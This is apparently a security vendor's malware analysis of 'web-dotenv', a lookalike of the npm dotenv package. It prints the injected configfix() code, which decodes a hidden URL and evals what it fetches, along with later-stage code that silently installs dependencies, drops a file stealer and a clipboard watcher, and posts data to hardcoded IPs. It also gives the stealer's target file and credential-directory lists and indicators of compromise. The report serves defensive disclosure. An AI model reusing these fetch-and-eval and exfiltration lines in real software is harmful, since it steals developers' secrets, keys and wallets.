dotenv pulls ~50M downloads a week, so web-dotenv — a near-byte-identical clone published from a fresh gmail, repository.url still pointing upstream — only had to be one prefix away. The diff against motdotla/dotenv is one function and one call site in lib/main.js, and the call sits in config(), what every consumer runs on application boot.
Stage 1: the inserted function
One helper, one call wedged into the first line of config():
function configfix() {
require('axios').get(atob('CWh0dHBzOi8vd3d3Lmpzb25rZWVwZXIuY29tL2IvVktVTkk='))
.then(r => { eval(r.data.content); });
}
function config (options) {
// fallback to fixed config
configfix();
...
}
The base64 carries a leading tab — the only nod to obfuscation — and decodes to a jsonkeeper URL whose content field eval runs; with no postinstall hook, the chain fires the first time a code path reaches dotenv.config() and registry scanners see nothing — and the author iterated between versions:
1.0.0(2026-05-22) inlined the entire Stage 2 obfuscator insideconfigfix()1.0.2(three days later) outsourced it to jsonkeeper for a smaller tarball and a mutable payload
| Trait | What it caught | |
|---|---|---|
supply-chain/install-hook/build/build-system-trojan |
configfix() injected into the upstream dotenv library init |
|
command-and-control/remote-command/protocol/eval-http-response-data |
eval(r.data.content) on a fetched HTTP body |
|
anti-static/obfuscation/encoding/content/malware |
atob('CWh0dHBz…') masking the Stage-2 URL |
|
supply-chain/recon-exfil/npm-install-targeting |
Name-prefix lookalike of dotenv |
Stage 2: the jsonkeeper loader
The bin is 19 KB of obfuscator.io output that does exactly two things:
execSync(
'npm install axios socket.io-client --no-warnings --no-save --no-progress --loglevel silent',
{ windowsHide: true, cwd: os.tmpdir() }
);
require('axios').get(
'http://216.126.224.247/api/service/329f753d052f978a486cdce9896050bb'
).then(r => eval(r.data));
--no-save keeps the install out of the manifest and lockfile; the deps land under $TMPDIR/node_modules/ where the next stage resolves them. The hex tail is the campaign UID, reappearing in every Stage-3 exfil packet, and socket.io-client is pre-positioned but unused as shipped — wiring for a later iteration.
| Trait | What it caught | |
|---|---|---|
command-and-control/remote-command/protocol/eval-http-response-data |
eval of HTTP body from a hardcoded IP |
|
command-and-control/dropper/execution/network-stage/fetch-write-exec |
Silent npm install of runtime deps into os.tmpdir() before fetching Stage 3 |
|
anti-static/obfuscation/tools/js-obfuscator/decoder-loop-keyword-triad |
Obfuscator.io string-array, decoder, and while(!![]) rotation |
|
command-and-control/infrastructure/ip-port |
http://216.126.224.247/ hardcoded, no DNS |
Stage 3: stealer + clipper
The 110 KB body from 216.126.224.247 writes two files to os.tmpdir(), detaches them, and also passes each inline as node -e to spawn() as a fallback:
fs.writeFile(path.join(os.tmpdir(), 'scdata'), <stealer>);
fs.writeFile(path.join(os.tmpdir(), 'ldata'), <clipper>);
exec('node scdata', { cwd: os.tmpdir(), windowsHide: true, stdio: 'ignore' });
exec('node ldata', { cwd: os.tmpdir(), windowsHide: true, stdio: 'ignore' });
scdata — the file stealer
scdata walks $HOME (and on Windows every drive from Get-CimInstance Win32_LogicalDisk) for files matching:
- Wallet / crypto:
*metamask*,*bitcoin*,*btc*,*solana*,*private key*,*secret phrase*,*.dat - Secrets / config:
*.env*,*.pem,*.secret,*.key,*.json,*.yaml,*.yml,*.ini,*.sqlite - Documents:
*.pdf,*.docx,*.doc,*.xlsx,*.xls,*.csv,*.txt,*.md,*.rtf,*.odt
…but only inside an allow-list of high-value directories that reads like 2026's dev surface — AI-tool config dirs beside cloud creds, SSH/GPG, and Web3 workspaces — uploading each match as multipart/form-data to bulk-exfil 216.126.224.220:5976/upload, one hop from Stage-3 control at .247 in the same Tier.Net /22:
.aws .azure .ssh .gnupg .docker .config .cache
.cargo .rustup .cocoapods .gemini .claude .cursor
.vscode .vscode-server .windsurf .pearai .vue-cli-ui
.brownie .move .sol .eigent .devctl .pm2 .android
.steam .snipaste .yarn .nvm .node-gyp .expo .next
ldata — the clipboard watcher
ldata is a watcher, not a swapper: it polls the clipboard every 750 ms — whatever the developer pastes, including secrets and wallet addresses — and POSTs the deltas to the Stage-2 host's plausible-looking /npm-compiler.log, reading per platform:
- macOS:
pbpaste - Windows:
powershell -NoProfile -NonInteractive Get-Clipboard
axios.post('http://216.126.224.247/npm-compiler.log', {
message: clipboardText,
host: os.hostname(),
uid: '329f753d052f978a486cdce9896050bb',
t: '102'
});
| Trait | What it caught | |
|---|---|---|
command-and-control/dropper/execution/network-stage/obfuscated-node-staged-loader |
Obfuscator-decoded require + base64/XOR string decoders + windowsHide-via-expression spawn |
|
command-and-control/dropper/execution/network-stage/spawn-node |
node $TMPDIR/scdata and node $TMPDIR/ldata detached |
|
exfiltration/stealer/file/javascript/js-targeted-file-upload-exfil |
Sensitive-path filter → 216.126.224.220:5976/upload multipart sink |
|
exfiltration/stealer/credential/browser/javascript/js-browser-wallet-upload-exfil |
Wallet globs (*metamask*, *solana*, *secret phrase*) into an external-IP upload |
|
exfiltration/stealer/credential/clipboard/javascript/js-clipboard-exfil-external-ip |
pbpaste + powershell Get-Clipboard polled every 750 ms, POSTed to a literal IPv4 |
|
exfiltration/sensitive-data/javascript/js-system-info-exfiltration |
Get-CimInstance Win32_LogicalDisk drive enumeration sent to C2 |
|
anti-static/obfuscation/payload/data-file/js-obfuscator-runtime-data-file |
scdata and ldata themselves: obfuscator loop + decodeURIComponent + function c(b,d) |
|
evasion/masquerade/path/log |
Exfil URL named /npm-compiler.log |
Why this works
A verbatim clone whose only diff fires at runtime from config() — not the postinstall every audit flags — with both downstream stages paste-hosted, so the version pinned in a victim's lockfile stays permanently fresh; the Fallout report returns malicious at probability 1.0.
Likely actor
| Field | Value |
|---|---|
| Publisher | jean_dupont24 <jean.pierre.depont24@gmail.com> |
| Account created | 2026-05-22 |
1.0.0 published |
2026-05-22T14:15:09Z |
1.0.2 published |
2026-05-25T15:05:35Z |
| Campaign UID | 329f753d052f978a486cdce9896050bb |
| Stage-2 host | jsonkeeper.com/b/VKUNI |
| Stage-3 host | 216.126.224.247 (Tier.Net Technologies LLC) |
| Bulk exfil host | 216.126.224.220:5976 (Tier.Net Technologies LLC) |
"Jean Dupont" is the French "John Doe" — placeholder name, real gmail — and the signature differs from last week's shinydv412 / devcarron IPFS-PE cluster: pure JavaScript, AI-tool–aware targeting, runtime-triggered.
Update (2026-05-28). Two days later clx-cookieparser turned up running the identical endgame — same two-file stealer pair, same jsonkeeper-plus-/api/service/<hex> delivery, and the byte-for-byte same 216.126.224.220:5976/upload sink — and it is attributed to the DPRK's Contagious Interview campaign (FAMOUS CHOLLIMA) by dprk-research.kmsec.uk. The shared sink makes jean_dupont24 a Contagious Interview persona, not an independent actor: still a different shop than the IPFS-PE cluster, but the same shop behind BeaverTail and InvisibleFerret.
Indicators
| Type | Value |
|---|---|
| Package | web-dotenv@1.0.2 (npm), also 1.0.0 |
| npm page | npmjs.com/package/web-dotenv |
| Tarball SHA-256 (1.0.2) | 6401b9400fe94cc944d266fb39f1414e6e41a4c48317bd7a13d38df889f24ec6 |
| Tarball SHA-256 (1.0.0) | c4f602914de9a106ab65300df233d0f15d29df19237ba3a70f2c86698e0b89c8 |
lib/main.js SHA-256 (1.0.2) |
5cc30e2db46bb70e043b5f7fdb2d526caa2a4fcf83806c1c08bd6f0a1559ef43 |
| Stage 2 URL | https://www.jsonkeeper.com/b/VKUNI (base64: CWh0dHBzOi8vd3d3Lmpzb25rZWVwZXIuY29tL2IvVktVTkk=) |
| Stage 2 SHA-256 (snapshot) | 7e672968591f290c62892d51682432363cf33264f9c6a602088b9b93efbe70bf |
| Stage 3 URL | http://216.126.224.247/api/service/329f753d052f978a486cdce9896050bb |
| Stage 3 SHA-256 (snapshot) | bf97b9f78cbbed6e3b7af7240b4f1019d05496f138202262964f7d8a7271fe4f |
| Dropped stealer | $TMPDIR/scdata (SHA-256 7c921e8acabce12825e12a7730912af63d0bed08700996b6e7389b9e96e1238b) |
| Dropped clipper | $TMPDIR/ldata (SHA-256 f3c3175bf05ccb6b97e371a451bba5a9d422aa7cfd6dbecb6f58c0cabfa6c5c1) |
| File exfil C2 | http://216.126.224.220:5976/upload (multipart) — identical endpoint reused by clx-cookieparser (DPRK) |
| Clipboard exfil C2 | http://216.126.224.247/npm-compiler.log |
| Campaign UID | 329f753d052f978a486cdce9896050bb |
| Publisher | jean_dupont24 <jean.pierre.depont24@gmail.com> |